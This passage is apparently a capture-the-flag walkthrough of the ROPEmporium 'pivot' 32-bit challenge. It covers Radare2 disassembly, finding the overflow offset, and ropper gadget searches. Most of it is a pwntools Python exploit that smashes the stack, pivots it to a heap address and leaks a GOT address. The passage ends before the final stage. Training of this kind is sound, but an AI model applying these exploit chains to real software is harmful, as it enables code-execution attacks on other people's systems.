ROPEmporium: Pivot 32-bit CTF walkthrough with Radare2
Preface
The challenge together with the ELF binaries are located at https://ropemporium.com/challenge/pivot.html. This walkthrough will focus on using the Radare2 for the binary executable analysis and debugging, so basic knowledge of this awesome tool is assumed.
In this post, the 32-bit binary will be cracked and analysed and a future post will do the same for the 64-bit binary.
UPDATE: 64-bit walkthrough is here
The challenge in short is to pivot the stack using a ROP chain to a heap address which is given by the executable and leak the addresses of the library functions which contain the target, the ret2win() function which prints out the flag.
There are multiple ways to approach this challenge. The first strategy is to build a ROP chain to leak the library function addresses with the standard C library puts() function, second is to compile a ROP chain which does the same thing using registers. The first one will be used in this post for the 32-bit version and the second one for the 64-bit in the next walkthrough post.
Prerequisites
There are a few basic computing concepts used on this walkthrough the reader should be familiar with:
- Intel x86/x86-64 processor instruction set and architecture
- ELF binary structure
- Dynamic linking, relocatable code and Procedure link table and Global offset table (PLT/GOT)
- Virtual memory
- Stack frames
- Return oriented programming and stack overflow
- Stack smashing mitigation techniques such as NX, ASLR and canaries
32-bit binary
ELF analysis
Downloading the ELF binaries gives you the pivot32 executable and the libpivot32.so link library. Radare2 and File linux utility can be used to quickly determine the ELF binary properties:
janne808@megatron:~/pwnwork/pivot$ file pivot32
pivot32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7d291f508294412d56bfbc9b8a5a36de5330596, not stripped
janne808@megatron:~/pwnwork/pivot$ file libpivot32.so
libpivot32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=a30bcc73d6a5b73e27c3967c5ac2486272ee5e21, not stripped
janne808@megatron:~/pwnwork/pivot$ r2 -d pivot32
Process with PID 7136 started...
= attach 7136 7136
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
-- Enable asm.trace to see the tracing information inside the disassembly
[0xf7723a20]> iI
arch x86
binsz 6616
bintype elf
bits 32
canary false
class ELF32
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath ./
static false
stripped false
subsys linux
va true
Further, we need to identify the general structure of the binary. The following analyzes the source code structure and prints out the functions and imported functions in the binary:
[0xf7723a20]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[Cannot find section boundaries in here
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 7136 7136
[0xf7723a20]> afl
0x08048550 3 35 sym._init
0x08048590 1 6 sym.imp.printf
0x080485a0 1 6 sym.imp.free
0x080485b0 1 6 sym.imp.fgets
0x080485c0 1 6 sym.imp.malloc
0x080485d0 1 6 sym.imp.puts
0x080485e0 1 6 sym.imp.exit
0x080485f0 1 6 sym.imp.foothold_function
0x08048600 1 6 sym.imp.__libc_start_main
0x08048610 1 6 sym.imp.setvbuf
0x08048620 1 6 sym.imp.memset
0x08048630 1 6 sub.__gmon_start___252_630
0x08048640 1 33 entry0
0x08048670 1 4 sym.__x86.get_pc_thunk.bx
0x08048680 4 43 sym.deregister_tm_clones
0x080486b0 4 53 sym.register_tm_clones
0x080486f0 3 30 sym.__do_global_dtors_aux
0x08048710 4 43 -> 40 sym.frame_dummy
0x0804873b 1 183 sym.main
0x080487f2 1 175 sym.pwnme
0x080488a1 1 21 sym.uselessFunction
0x080488d0 4 93 sym.__libc_csu_init
0x08048930 1 2 sym.__libc_csu_fini
0x08048934 1 20 sym._fini
Disassembly of the main() function gives a good overview of the code:
[0xf7723a20]> s main
[0x0804873b]> pdf
;-- main:
/ (fcn) sym.main 183
| sym.main ();
| ; var int local_10h @ ebp-0x10
| ; var void local_ch @ ebp-0xc
| ; var int local_4h_2 @ ebp-0x4
| ; var int local_4h @ esp+0x4
| ; DATA XREF from 0x08048657 (entry0)
| 0x0804873b 8d4c2404 lea ecx, [local_4h] ; 4
| 0x0804873f 83e4f0 and esp, 0xfffffff0
| 0x08048742 ff71fc push dword [ecx - 4]
| 0x08048745 55 push ebp
| 0x08048746 89e5 mov ebp, esp
| 0x08048748 51 push ecx
| 0x08048749 83ec14 sub esp, 0x14
| 0x0804874c a164a00408 mov eax, dword [obj.stdout__GLIBC_2.0] ; [0x804a064:4]=0
| 0x08048751 6a00 push 0
| 0x08048753 6a02 push 2 ; 2
| 0x08048755 6a00 push 0 ; size_t size
| 0x08048757 50 push eax ; int mode
| 0x08048758 e8b3feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| 0x0804875d 83c410 add esp, 0x10
| 0x08048760 a140a00408 mov eax, dword [obj.stderr__GLIBC_2.0] ; [0x804a040:4]=0
| 0x08048765 6a00 push 0
| 0x08048767 6a02 push 2 ; 2
| 0x08048769 6a00 push 0 ; size_t size
| 0x0804876b 50 push eax ; int mode
| 0x0804876c e89ffeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| 0x08048771 83c410 add esp, 0x10
| 0x08048774 83ec0c sub esp, 0xc
| 0x08048777 6850890408 push str.pivot_by_ROP_Emporium ; 0x8048950 ; "pivot by ROP Emporium" ; const char * s
| 0x0804877c e84ffeffff call sym.imp.puts ; int puts(const char *s)
| 0x08048781 83c410 add esp, 0x10
| 0x08048784 83ec0c sub esp, 0xc
| 0x08048787 6866890408 push str.32bits_n ; 0x8048966 ; "32bits\n" ; const char * s
| 0x0804878c e83ffeffff call sym.imp.puts ; int puts(const char *s)
| 0x08048791 83c410 add esp, 0x10
| 0x08048794 83ec0c sub esp, 0xc
| 0x08048797 6800000001 push 0x1000000 ; size_t size
| 0x0804879c e81ffeffff call sym.imp.malloc ; void *malloc(size_t size)
| 0x080487a1 83c410 add esp, 0x10
| 0x080487a4 8945f4 mov dword [local_ch], eax
| 0x080487a7 8b45f4 mov eax, dword [local_ch]
| 0x080487aa 0500ffff00 add eax, 0xffff00
| 0x080487af 8945f0 mov dword [local_10h], eax
| 0x080487b2 83ec0c sub esp, 0xc
| 0x080487b5 ff75f0 push dword [local_10h]
| 0x080487b8 e835000000 call sym.pwnme
| 0x080487bd 83c410 add esp, 0x10
| 0x080487c0 c745f0000000. mov dword [local_10h], 0
| 0x080487c7 83ec0c sub esp, 0xc
| 0x080487ca ff75f4 push dword [local_ch] ; void *ptr
| 0x080487cd e8cefdffff call sym.imp.free ; void free(void *ptr)
| 0x080487d2 83c410 add esp, 0x10
| 0x080487d5 83ec0c sub esp, 0xc
| 0x080487d8 686e890408 push str._nExiting ; 0x804896e ; "\nExiting" ; const char * s
| 0x080487dd e8eefdffff call sym.imp.puts ; int puts(const char *s)
| 0x080487e2 83c410 add esp, 0x10
| 0x080487e5 b800000000 mov eax, 0
| 0x080487ea 8b4dfc mov ecx, dword [local_4h_2]
| 0x080487ed c9 leave
| 0x080487ee 8d61fc lea esp, [ecx - 4]
\ 0x080487f1 c3 ret
[0x0804873b]> s sym.pwnme
[0x080487f2]> pdf
/ (fcn) sym.pwnme 175
| sym.pwnme (char arg_8h);
| ; var int local_28h @ ebp-0x28
| ; arg char arg_8h @ ebp+0x8
| ; CALL XREF from 0x080487b8 (sym.main)
| 0x080487f2 55 push ebp
| 0x080487f3 89e5 mov ebp, esp
| 0x080487f5 83ec28 sub esp, 0x28 ; '('
| 0x080487f8 83ec04 sub esp, 4
| 0x080487fb 6a20 push 0x20 ; 32
| 0x080487fd 6a00 push 0 ; size_t n
| 0x080487ff 8d45d8 lea eax, [local_28h]
| 0x08048802 50 push eax ; int c
| 0x08048803 e818feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x08048808 83c410 add esp, 0x10
| 0x0804880b 83ec0c sub esp, 0xc
| 0x0804880e 6878890408 push str.Call_ret2win___from_libpivot.so ; 0x8048978 ; "Call ret2win() from libpivot.so" ; const char * s
| 0x08048813 e8b8fdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048818 83c410 add esp, 0x10
| 0x0804881b 83ec08 sub esp, 8
| 0x0804881e ff7508 push dword [arg_8h]
| 0x08048821 6898890408 push str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p_n ; 0x8048998 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n" ; const char * format
| 0x08048826 e865fdffff call sym.imp.printf ; int printf(const char *format)
| 0x0804882b 83c410 add esp, 0x10
| 0x0804882e 83ec0c sub esp, 0xc
| 0x08048831 68d4890408 push str.Send_your_second_chain_now_and_it_will_land_there ; 0x80489d4 ; "Send your second chain now and it will land there" ; const char * s
| 0x08048836 e895fdffff call sym.imp.puts ; int puts(const char *s)
| 0x0804883b 83c410 add esp, 0x10
| 0x0804883e 83ec0c sub esp, 0xc
| 0x08048841 68068a0408 push 0x8048a06 ; const char * format
| 0x08048846 e845fdffff call sym.imp.printf ; int printf(const char *format)
| 0x0804884b 83c410 add esp, 0x10
| 0x0804884e a160a00408 mov eax, dword [obj.stdin__GLIBC_2.0] ; [0x804a060:4]=0
| 0x08048853 83ec04 sub esp, 4
| 0x08048856 50 push eax
| 0x08048857 6800010000 push 0x100 ; 256
| 0x0804885c ff7508 push dword [arg_8h] ; char *s
| 0x0804885f e84cfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x08048864 83c410 add esp, 0x10
| 0x08048867 83ec0c sub esp, 0xc
| 0x0804886a 680c8a0408 push str.Now_kindly_send_your_stack_smash ; 0x8048a0c ; "Now kindly send your stack smash" ; const char * s
| 0x0804886f e85cfdffff call sym.imp.puts ; int puts(const char *s)
| 0x08048874 83c410 add esp, 0x10
| 0x08048877 83ec0c sub esp, 0xc
| 0x0804887a 68068a0408 push 0x8048a06 ; const char * format
| 0x0804887f e80cfdffff call sym.imp.printf ; int printf(const char *format)
| 0x08048884 83c410 add esp, 0x10
| 0x08048887 a160a00408 mov eax, dword [obj.stdin__GLIBC_2.0] ; [0x804a060:4]=0
| 0x0804888c 83ec04 sub esp, 4
| 0x0804888f 50 push eax
| 0x08048890 6a3a push 0x3a ; ':' ; 58
| 0x08048892 8d45d8 lea eax, [local_28h]
| 0x08048895 50 push eax ; char *s
| 0x08048896 e815fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x0804889b 83c410 add esp, 0x10
| 0x0804889e 90 nop
| 0x0804889f c9 leave
\ 0x080488a0 c3 ret
Doing the same for libpivot32.so:
janne808@megatron:~/pwnwork/pivot$ r2 -d libpivot32.so
Process with PID 4772 started...
= attach 4772 4772
bin.baddr 0x565e8000
Using 0x565e8000
asm.bits 32
-- Use the 'id' command to see the source line related to the current seek
[0x565e8640]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 4772 4772
[0x565e8640]> afl
0x565e8000 83 1507 -> 1495 sym.imp.__cxa_finalize
0x565e85c0 3 35 sym._init
0x565e8600 2 16 -> 32 sym.imp.printf
0x565e8610 2 16 -> 48 sym.imp.system
0x565e8620 2 16 -> 48 sym.imp.exit
0x565e8630 1 8 fcn.565e8630
0x565e8638 1 8 fcn.565e8638
0x565e8640 1 4 entry0
0x565e8650 4 55 sym.deregister_tm_clones
0x565e8690 4 71 sym.register_tm_clones
0x565e86e0 5 71 sym.__do_global_dtors_aux
0x565e8730 4 60 -> 56 sym.frame_dummy
0x565e876c 1 4 sym.__x86.get_pc_thunk.dx
0x565e8770 1 43 sym.foothold_function
0x565e879b 1 46 sym.void_function_01
0x565e87c9 1 46 sym.void_function_02
0x565e87f7 1 46 sym.void_function_03
0x565e8825 1 46 sym.void_function_04
0x565e8853 1 46 sym.void_function_05
0x565e8881 1 46 sym.void_function_06
0x565e88af 1 46 sym.void_function_07
0x565e88dd 1 46 sym.void_function_08
0x565e890b 1 46 sym.void_function_09
0x565e8939 1 46 sym.void_function_10
0x565e8967 1 46 sym.ret2win
0x565e8995 1 4 sym.__x86.get_pc_thunk.ax
0x565e899c 1 20 sym._fini
[0x565e8967]> s sym.foothold_function
[0x565e8770]> pdf
/ (fcn) sym.foothold_function 43
| sym.foothold_function ();
| ; var int local_4h @ ebp-0x4
| 0x565e8770 55 push ebp
| 0x565e8771 89e5 mov ebp, esp
| 0x565e8773 53 push ebx
| 0x565e8774 83ec04 sub esp, 4
| 0x565e8777 e819020000 call sym.__x86.get_pc_thunk.ax
| 0x565e877c 0584180000 add eax, 0x1884
| 0x565e8781 83ec0c sub esp, 0xc
| 0x565e8784 8d90b0e9ffff lea edx, [eax - 0x1650]
| 0x565e878a 52 push edx ; const char * format
| 0x565e878b 89c3 mov ebx, eax
| 0x565e878d e86efeffff call sym.imp.printf ; int printf(const char *format)
| 0x565e8792 83c410 add esp, 0x10
| 0x565e8795 90 nop
| 0x565e8796 8b5dfc mov ebx, dword [local_4h]
| 0x565e8799 c9 leave
\ 0x565e879a c3 ret
[0x565e8640]> s sym.ret2win
[0x565e8967]> pdf
/ (fcn) sym.ret2win 46
| sym.ret2win ();
| 0x565e8967 55 push ebp
| 0x565e8968 89e5 mov ebp, esp
| 0x565e896a 53 push ebx
| 0x565e896b 83ec04 sub esp, 4
| 0x565e896e e8cdfcffff call entry0
| 0x565e8973 81c38d160000 add ebx, 0x168d
| 0x565e8979 83ec0c sub esp, 0xc
| 0x565e897c 8d8319eaffff lea eax, [ebx - 0x15e7]
| 0x565e8982 50 push eax ; const char * string
| 0x565e8983 e888fcffff call sym.imp.system ; int system(const char *string)
| 0x565e8988 83c410 add esp, 0x10
| 0x565e898b 83ec0c sub esp, 0xc
| 0x565e898e 6a00 push 0 ; int status
\ 0x565e8990 e88bfcffff call sym.imp.exit ; void exit(int status)
Now, running the binary and deducing from the above gives a good idea what the binary is doing:
janne808@megatron:~/pwnwork/pivot$ ./pivot32
pivot by ROP Emporium
32bits
Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0xf7569f08
Send your second chain now and it will land there
>
Now kindly send your stack smash
>
Exiting
Concluding the analysis, several key points should be noted before going further. There are no import entries for the target function ret2win() in the Procedure link or Global offset tables (PLT/GOT). The only function imported from the target link library is the aptly named foothold_function(), which doesn’t do anything else except print a string to stdout.
Attack strategy
The attack will consists of two stages, where the stack will be smashed to gain ROP execution, pivot the stack to a heap address and ROP chain a link library address leak and a call to ret2win(). The address leak will be done using the puts() function which is imported in the binary from the system libc link library, and the ROP chain will be looped back to main() to smash the stack again with a ROP call to the leaked and offset calculated ret2win() function address.
Overview of the attack:
- 1st stage:
- Stack smash
- Stack pivot
- libpivot32 address leak
- 2nd stage:
- Stack smash to call ret2win()
1st stage
Stack smash
The second fgets() function call in pwnme() is vulnerable to a stack overflow attack and will grant the attacker ROP execution, although only for 3 RETs since the stack space is truncated.
First the stack overflow offset needs to determined using a cyclic buffer. Radare2 framework include a handy utility called ragg2 which can be used to generate such buffers:
janne808@megatron:~/pwnwork/pivot$ ragg2 -P 600 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQAD
Radare2 can also debug a program and feed the stdin during the execution from a simple text file. We need two lines in this file, as follows:
janne808@megatron:~/pwnwork/pivot$ cat ragg2.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQAD
Radare2 requires a profile.rr2 file to define the stdin feed:
janne808@megatron:~/pwnwork/pivot$ cat profile.rr2
#!/usr/bin/rarun2
stdin=./ragg2.txt
Now it is possible to debug the binary with the input feeds automatically:
janne808@megatron:~/pwnwork/pivot$ r2 -de dbg.profile=./profile.rr2 pivot32
Process with PID 7994 started...
= attach 7994 7994
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
-- Enable the PAGER with 'e scr.pager=less -R'
[0xf7734a20]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[Cannot find section boundaries in here
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 7994 7994
[0xf7734a20]> dc
pivot by ROP Emporium
32bits
Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0xf754bf08
Send your second chain now and it will land there
> Now kindly send your stack smash
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> dr
eax = 0xfff7f0d0
ebx = 0x00000000
ecx = 0x00000000
edx = 0xf770187c
esi = 0xf7700000
edi = 0xf7700000
esp = 0xfff7f100
ebp = 0x414f4141
eip = 0x41415041
eflags = 0x00010282
oeax = 0xffffffff
[0x41415041]> wopO eip
44
The wopO command gives the stack offset from the cyclic De Bruijn Pattern.
[0x41415041]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr] Write a De Bruijn Pattern of length 'len' at address 'addr'
| wopD* len [@ addr] Show wx command that creates a debruijn pattern of a specific length
| wopO value Finds the given value into a De Bruijn Pattern at current offset
To verify the limited stack space, viewing the stack makes it obvious:
[0x41415041]> pxw 32@esp-4
0xffa47a6c 0x41415041 0x52414151 0x41534141 0x00000041 APAAQAARAASAA...
0xffa47a7c 0x00000000 0x00000001 0xffa47b44 0xf758af08 ........D{....X.
We can now start to write the Python exploit. Define the offset for the stack smash and doublecheck to see if the EIP can be overwritten with it:
import struct
from pwn import *
# stack offset to overwrite eip
stack_offset = 44
# stack smash buffer
buffer = "A"*stack_offset + p32(0xdeadbeef)
# run target
p = process("./pivot32")
# Wait for debugger
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)
# process interaction
p.recvuntil("Call ret2win() from libpivot.so")
p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:")
p.recvuntil("Send your second chain now and it will land there")
p.sendline()
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)
p.interactive()
Running the exploit with Radare2 attached to the process:
janne808@megatron:~$ r2 -d 8157
= attach 8157 8157
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
-- Set 'e bin.dbginfo=true' to load debug information at startup.
[0xf7706c89]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[Cannot find section boundaries in here
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 8157 8157
[0xf7706c89]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0xdeadbeef code=1 ret=0
[0xdeadbeef]> dr~eip
eip = 0xdeadbeef
Stack is successfully smashed and we can start executing a ROP chain on the stack.
Stack pivot
As mentioned before, there is only space for 3 RETs in the stack and these will be used to rewrite the ESP stack pointer to the address provided by the executable.
Ropper is a good tool to search for ROP gadgets. We need to find a gadget to rewrite ESP:
janne808@megatron:~/pwnwork/pivot$ ropper --file pivot32 --stack-pivot
...
0x0804889b: add esp, 0x10; nop; leave; ret;
0x08048925: add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret;
0x0804856e: add esp, 8; pop ebx; ret;
0x0804856a: ret 0;
0x080486be: ret 0xeac1;
0x08048a4c: ret 0xfffd;
0x080488c2: xchg eax, esp; ret;
Looks like the XCHG gadget is what is needed here (XCHG swaps the register contents, effectively writing EAX to ESP). Next we need a POP gadget to write a value to EAX:
janne808@megatron:~/pwnwork/pivot$ ropper --file pivot32 --search "pop eax"
...
0x080488c0: pop eax; ret;
We have everything we need to pivot the stack to an arbitrary address. First we need to grab the heap address from the stdout as provided by the binary:
# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u32(unhex(heap_addr[2:]), endian='big')
Writing the pivot ROP chain:
# gadgets
# -------
# 0x080488c2: xchg eax, esp; ret;
# 0x080488c0: pop eax; ret;
popret = 0x080488c0
xchgret = 0x080488c2
# construct ropchains
# stack pivot chain
ropchain = p32(popret)
ropchain += p32(heap_addr)
ropchain += p32(xchgret)
The full exploit now looks like this:
import struct
from pwn import *
# stack offset to overwrite eip
stack_offset = 44
# gadgets
# -------
# 0x080488c2: xchg eax, esp; ret;
# 0x080488c0: pop eax; ret;
popret = 0x080488c0
xchgret = 0x080488c2
# run target
p = process("./pivot32")
# Wait for debugger
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)
# process interaction
p.recvuntil("Call ret2win() from libpivot.so")
# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u32(unhex(heap_addr[2:]), endian='big')
# construct ropchains
# stack pivot chain
ropchain = p32(popret)
ropchain += p32(heap_addr)
ropchain += p32(xchgret)
# stack smash buffer
buffer = "A"*stack_offset + ropchain
p.recvuntil("Send your second chain now and it will land there")
p.sendline()
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)
p.interactive()
Running this with Radare2 attached will now rewrite ESP and pivot the stack to the heap address:
janne808@megatron:~/pwnwork/pivot$ r2 -d 9226
= attach 9226 9226
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
...
[0xf7767c89]> dr~esp
esp = 0xff889358
[0xf7767c89]> dcu 0x080488c2
Continue until 0x080488c2 using 1 bpsize
hit breakpoint at: 80488c2
[0x080488c2]> pd 2
;-- eip:
0x080488c2 94 xchg eax, esp
0x080488c3 c3 ret
[0x080488c2]> ds
[0x080488c2]> pd 2
0x080488c2 94 xchg eax, esp
;-- eip:
0x080488c3 c3 ret
[0x080488c2]> dr~esp
esp = 0xf7580f08
You can now start writing the second ROP chain to leak and calculate the libpivot32 addresses.
libpivot32 address leak
To leak the library address, we need to find offsets for functions in the PLT and GOT. This can be done easily with Radare2:
...
[0xf76dfa20]> afl
0x08048550 3 35 sym._init
0x08048590 1 6 sym.imp.printf
0x080485a0 1 6 sym.imp.free
0x080485b0 1 6 sym.imp.fgets
0x080485c0 1 6 sym.imp.malloc
0x080485d0 1 6 sym.imp.puts
0x080485e0 1 6 sym.imp.exit
0x080485f0 1 6 sym.imp.foothold_function
0x08048600 1 6 sym.imp.__libc_start_main
0x08048610 1 6 sym.imp.setvbuf
0x08048620 1 6 sym.imp.memset
0x08048630 1 6 sub.__gmon_start___252_630
0x08048640 1 33 entry0
0x08048670 1 4 sym.__x86.get_pc_thunk.bx
0x08048680 4 43 sym.deregister_tm_clones
0x080486b0 4 53 sym.register_tm_clones
0x080486f0 3 30 sym.__do_global_dtors_aux
0x08048710 4 43 -> 40 sym.frame_dummy
0x0804873b 1 183 sym.main
0x080487f2 1 175 sym.pwnme
0x080488a1 1 21 sym.uselessFunction
0x080488d0 4 93 sym.__libc_csu_init
0x08048930 1 2 sym.__libc_csu_fini
0x08048934 1 20 sym._fini
[0xf76dfa20]> pdf @ sym.imp.foothold_function
/ (fcn) sym.imp.foothold_function 6
| sym.imp.foothold_function ();
| ; CALL XREF from 0x080488a7 (sym.uselessFunction)
\ 0x080485f0 ff2524a00408 jmp dword [reloc.foothold_function_36] ; 0x804a024
[0xf76dfa20]> ir
[Relocations]
vaddr=0x08049ffc paddr=0x00000ffc type=SET_32 __gmon_start__
vaddr=0x0804a040 paddr=0x00001040 type=SET_64
vaddr=0x0804a060 paddr=0x00001060 type=SET_64
vaddr=0x0804a064 paddr=0x00001064 type=SET_64
vaddr=0x0804a00c paddr=0x0000100c type=SET_32 printf
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 free
vaddr=0x0804a014 paddr=0x00001014 type=SET_32 fgets
vaddr=0x0804a018 paddr=0x00001018 type=SET_32 malloc
vaddr=0x0804a01c paddr=0x0000101c type=SET_32 puts
vaddr=0x0804a020 paddr=0x00001020 type=SET_32 exit
vaddr=0x0804a024 paddr=0x00001024 type=SET_32 foothold_function
vaddr=0x0804a028 paddr=0x00001028 type=SET_32 __libc_start_main
vaddr=0x0804a02c paddr=0x0000102c type=SET_32 setvbuf
vaddr=0x0804a030 paddr=0x00001030 type=SET_32 memset
14 relocations
[0xf76dfa20]> pd 1@0x0804a024
;-- reloc.foothold_function_36:
; DATA XREF from 0x080485f0 (sym.imp.foothold_function)
0x0804a024 .dword 0x080485f6 ; RELOC 32 foothold_function
Picking up the offsets into the exploit:
# static elf offsets
foothold_plt = 0x080485f0
foothold_got = 0x0804a024
puts_plt = 0x080485d0
main = 0x0804873b
The second pivoted ROP chain should now do the following: Call foothold_function() to engage the dynamic linker to fill in the GOT, call puts() with the GOT entry as the argument and leak the address as raw bytes to the stdout stream and call back the binary main() function to enter the second stage of the exploit.
Let’s construct the second ROP chain (which consists of just function calls):
# address leak chain
ropchain2 = p32(foothold_plt)
ropchain2 += p32(puts_plt)
ropchain2 += p32(main)
ropchain2 += p32(foothold_got)
The foothold_function will print a string to the stdout and puts() will leak the address from the GOT. You can now read the leak in a variable in the exploit:
# read the foothold_function output
p.recvuntil("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so")
# read foothold_got leak
foothold_leak = p.recv()[:4].strip().ljust(8, '\x00')
foothold_leak = u64(foothold_leak)
The overall exploit is now
import struct
from pwn import *
# stack offset to overwrite eip
stack_offset = 44
# static elf offsets
foothold_plt = 0x080485f0
foothold_got = 0x0804a024
puts_plt = 0x080485d0
main = 0x0804873b
# gadgets
# -------
# 0x080488c2: xchg eax, esp; ret;
# 0x080488c0: pop eax; ret;
popret = 0x080488c0
xchgret = 0x080488c2
# run target
p = process("./pivot32")
# Wait for debugger
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)
# process interaction
p.recvuntil("Call ret2win() from libpivot.so")
# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u32(unhex(heap_addr[2:]), endian='big')
# construct ropchains
# stack pivot chain
ropchain = p32(popret)
ropchain += p32(heap_addr)
ropchain += p32(xchgret)
# address leak chain
ropchain2 = p32(foothold_plt)
ropchain2 += p32(puts_plt)
ropchain2 += p32(main)
ropchain2 += p32(foothold_got)
# stack smash buffer
buffer = "A"*stack_offset + ropchain
p.recvuntil("Send your second chain now and it will land there")
p.sendline(ropchain2)
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)
# read the foothold_function output
p.recvuntil("foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so")
# read foothold_got leak
foothold_leak = p.recv()[:4].strip().ljust(8, '\x00')
foothold_leak = u64(foothold_leak)
log.success("foothold@libpivot32 is at: 0x%x" % foothold_leak)
p.interactive()
Running it and attaching to the process with Radare2 shows how the dynamic linker fills the GOT with the function address:
[0xf778fc89]> pd 1@0x0804a024
;-- reloc.foothold_function_36:
; DATA XREF from 0x080485f0 (sym.imp.foothold_function)
0x0804a024 .dword 0x080485f6 ; RELOC 32 foothold_function
[0xf778fc89]> pd 4@0x080485f0
/ (fcn) sym.imp.foothold_function 6
| sym.imp.foothold_function ();
| ! ; CALL XREF from 0x080488a7 (sym.uselessFunction)
\ | 0x080485f0 ff2524a00408 jmp dword [reloc.foothold_function_36] ; 0x804a024
| 0x080485f6 6830000000 push 0x30 ; '0' ; 48
`=< 0x080485fb e980ffffff jmp 0x8048580
/ (fcn) sym.imp.__libc_start_main 6
| sym.imp.__libc_start_main ();
